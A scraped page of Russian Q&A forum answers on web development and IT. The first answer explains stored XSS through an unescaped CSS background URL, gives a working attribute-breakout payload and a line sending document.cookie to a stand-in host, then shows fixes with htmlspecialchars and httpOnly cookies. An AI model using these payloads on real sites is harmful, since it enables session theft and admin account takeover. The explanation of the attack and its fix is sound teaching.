Задать вопрос
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Есть ли недочеты в коде?

    sergiks
    @sergiks Куратор тега PHP
    ♬♬
    Код плохо отформатирован и его трудно читать.
    Логика не вполне удачна. Лучше использовать разницу между двух дат DateTime::diff() или date_diff() – из двух дат получите объект с числом дней, месяцев, лет между ними. Только сбросьте на 0 время у обеих дат, чтобы работать только с датами. Такой вариант пригодится для более сложного случая, когда вы захотите ещё "Два дня назад", "Послезавтра" и "через неделю"
    Ответ написан
    3 комментария
  • Какой величины создавать контентную часть сайта?

    @BigSmoke
    Размер контентной части зависит от количества контента. Например, башорг 740px в ширину, меил.ру 1280px, а личный кабинет(или как его назвать) adsense.google.com вообще растягивается на всю ширину монитора\мониторов.
    Ответ написан
    Комментировать
  • Как соединить круги, чтобы...?

    Ankhena
    @Ankhena Куратор тега CSS
    Нежно люблю верстку
    Скругленные углы это border-radius ;)
    https://webref.ru/css/border-radius

    В вашем случае у псевдоэлементов.
    Ответ написан
    1 комментарий
  • Как отследить редирект сайта?

    Stalker_RED
    @Stalker_RED
    grep 'Location' /path/to/myproject/*.php
    Так найдете (почти) все редиректы. Скорее всего этого будет достаточно чтобы найти проблему, хотя если это действительно вирус, то они могли написать что-то вроде 'Loca'.'tion' и отследить это будет немного сложнее.

    Более хардкорный вариант - временно внести функцию headers в блеклист disable_functions
    И смотреть в каких местах ошибки посыпятся.
    Ответ написан
    4 комментария
  • Чем/как можно бэкапить на несколько офисных ПК?

    Zettabyte
    @Zettabyte
    Проф. восстановление данных ▪ Вопрос? См. профиль
    У Майкрософта есть собственные SyncToy и RoboCopy, популярная сторонняя - DSynchronize (можно запускать как сервис).

    С их помощью точно получится тянуть с локальных компьютеров файлы, лежащие на шаре.
    У робокопи через командную строку можно многое, например, исключать файлы:
    /xf "~*.*" "*~.*" "desktop.ini" "Thumbs.db" ".Sync*"

    Шифровать умеют, к примеру, CryptSync и Resilio Sync.
    Ответ написан
    Комментировать
  • Почему не рекомендуют начинать с фриланса?

    be_a_dancer
    @be_a_dancer
    Backend/Fullstack Developer
    На самом деле, начинать с фриланса не рекомендуется по той причине, что новичку необходимо изначально получать фидбек хороших разработчиков, которые отметят ошибки, покажут, как оптимально решать задачу. Плюс дополнительный опыт необходим для того, чтобы найти хорошего заказчика и для того, чтобы целиком решить задачу из-за дополнительных пожеланий.
    Ответ написан
    2 комментария
  • Исполнителю не нужно ТЗ. Это нормально?

    Fzero0
    @Fzero0
    Вечный студент
    Без внятного ТЗ — результат ХЗ, у Вас одна студия на город? По моему в их же интересах ТЗ, раз они от него отказываются, скорее всего они хотят посадить вас на обслуживание как сейчас модно - вести сайт, то есть все переделки и Ваши "хотелки" будут делать по Вашему щелчку ну а вы платить
    Ответ написан
    1 комментарий
  • Исполнителю не нужно ТЗ. Это нормально?

    iamd503
    @iamd503
    Верстальщик
    Т.е. они могут что то не сделать, а потом сказать, ну вы об этом не говорили. И будут правы, а потом конечно доделать это за дополнительную плату. Классика.

    PS: я бы к ним не обратился.
    Ответ написан
    1 комментарий
  • Как создать flexible верстку?

    be_a_dancer
    @be_a_dancer
    Backend/Fullstack Developer
    То, что вы пытаетесь сделать называется Mansory Layout. Короткая обзорная статья с примерами.
    Существует несколько способов это сделать. Если хотите с использованием флексбоксов, то, пожалуйте в эту статью.
    Есть возможность сделать с помощью grid-сетки. Для этого посмотрите на эту реализацию.
    И наконец, наиболее простое и удобное в плане организации решение - вот такой вот плагин, с которого все началось.
    Ответ написан
    4 комментария
  • В чем проблема при печати?

    @nfire
    Такое не часто бывает, но в этом сообщении об ошибке довольно четко указан причина - недостаточно памяти для обработки команды. Либо на диске с каталогом спулера (скорее всего диск с), либо оперативной памяти.
    Ответ написан
    6 комментариев
  • Интернет есть, сайты открываются через раз. Проблема со шлюзом?

    Jump
    @Jump
    Системный администратор со стажем.
    Ну может быть проблема в DNS серверах например, много чего может быть.
    Надо смотреть.

    Уверен что придётся бодаться с провайдером, надо запастись доказательной базой :)
    А чего с ним бодаться? И кому нужна доказательная база, кроме вас.
    Устраивает качество услуг провайдера - незачем бодаться.
    Не устраивает - ну ради вас он ничего менять не будет, поэтому если не устраивает ищите другого.
    Вот и все.

    Вообще все решается очень просто - звоните провайдеру и говорите интернет не работает. Если провайдер просит открыть браузер - скажите что не знаете что это такое, и знать не хотите. Пусть присылают специалиста.
    Вот и все.
    И не надо при разговоре с провайдером упоминать такие страшные слова как шлюз, подсеть и DHCP.
    Достаточно волшебных слов - интернет не работает.
    Ответ написан
    4 комментария
  • Какой самый точный скрипт определения региона пользователя?

    Fqyeh29
    @Fqyeh29
    ↓ ИМХО ↓
    Yandex Maps.

    При включенных куках все определяет довольно точно до города.
    Ответ написан
    Комментировать
  • Из-за чего происходит сбой программы при чтении текстового файла?

    @be52
    кодировка файлов другая или даже разная
    with open(filename, encoding = 'utf8') попробуй
    Ответ написан
    1 комментарий
  • Программа для удаленного выполнения разных задач?

    @Tabletko
    никого не трогаю, починяю примус
    SCCM, ansible, PS + скрипты
    Для тестирования под Win есть ещё какой то продукт от MS, но я не помню его названия
    Ответ написан
    2 комментария
  • Web разработка в Windows под Linux?

    uvelichitel
    @uvelichitel
    habrahabr.ru/users/uvelichitel
    Ну так и держите web-сервер и другоеПО (PHP, nginx, mysql, git и т.д.), на своем VPS, заходите туда по ssh и получайте в PuTTY консольно все что вам нужно от linux. Обшая практика.
    Ответ написан
    1 комментарий
  • Нужен ли Python-программист в России?

    sim3x
    @sim3x
    Пришли за деньгами?
    Ищите ЯП за который платят в вашем регионе или ищите работу на глобальном рынке
    Ответ написан
    Комментировать
  • Какой самый простой способ настройки домена в локальной сети?

    @Strabbo
    (кстати, можно ли урл резолвить в 127.0.0.1/something?)

    Нет. Если по простому, то ДНС переводить айпи в имена и наоборот. URL он не резолвит.
    Самый простой способ, это если ваш роутер умеет играть в ДНС сервер. Из дешевых это микротики и другие с врт прошивками.
    Представляю себе так: в роутере wi-fi в качестве DNS указываю ip машины с запущенным WAMP.

    А это уже посложнее первого метода, так как надо устанваливать и настраивать ДНС сервер на компе, который должен быть всегда включен, если у вас на этом же компе WAMP, то с этим проблем не будет.
    Ответ написан
    Комментировать